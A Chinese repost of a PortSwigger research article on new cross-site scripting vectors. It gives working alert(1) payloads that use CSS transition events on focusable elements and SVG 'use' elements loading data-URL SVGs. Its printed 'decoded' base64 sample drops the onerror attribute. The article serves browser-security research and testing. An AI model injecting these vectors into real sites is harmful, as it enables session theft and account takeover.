新的XSS载体
2022-8-7 00:1:41 Author: web安全工具库(查看原文) 阅读量:26 收藏

New XSS vectors
原文地址:https://portswigger.net/research/new-xss-vectors#top
翻译:梦幻的彼岸

基于无样式块的transition(过渡)事件
所以,最近,我正在更新XSS备忘单,以修复某些因浏览器更新而过时的载体。在看载体时,transition(过渡)事件一直萦绕在我的脑海中。他们需要样式块和事件:?

1

2

<style>:target {color:red;}</style>

<xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>


我想取消对样式块的要求。我想知道哪些浏览器的样式是默认添加的?我在网上搜索了一下,W3Schools上的一个页面引导我探索这个问题。某些标签有focus选择器--这非常有趣,因为这意味着transition(过渡)将与他们一起工作!浏览列表时,我注意到轮廓线正在被使用,然后我记得当元素具有可访问性时,Chrome 会在元素周围放置轮廓线。
这意味着如果我们把transition(过渡)应用到轮廓属性,就可以取消样式块的要求。这个载体适用于任何focusable标签。

1

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>


适当的XSS黑客攻击! 就像以前一样。
备忘单SVG“使用”元素载体
不久前,我发现了一些不错的基于SVG的载体,你可能不太熟悉。最近的一次浏览器更新修改了Chrome和Firefox的 "use "元素的行为。你现在可以在 "use "元素的数据URL内自动执行嵌入SVG的JavaScript:?

1

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>


这是base64解码后的数据:

1

2

3

4

<svg id='x' xmlns='http://www.w3.org/2000/svg'

xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>

<image href="1" />

</svg>


虽然你不一定要使用base64,但你也可以这样做:?

1

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />


最后,你可以使用animate标签来改变 "use "元素的超链接(href),以执行JavaScript:?

1

2

3

<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'>

<image href='1' onerror='alert(1)' /></svg>#x" />

<use id=x />


如果你喜欢这些载体并想了解更多,我推荐你去我们的网络安全学院的XSS部分,在那里你可以通过我们的互动实验室来磨练你的技能--或者访问我们的XSS备忘单来了解更多。

该内容转载自网络,更多内容请点击“阅读原文”


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247503315&idx=2&sn=407087dac779c5d0375517d96a758be3&chksm=ebb522d0dcc2abc6f0504dc1d4d6b6e9611c72148ba1078fcad54ffc316a0556e2f18fa24027#rd
如有侵权请联系:admin#unsafe.sh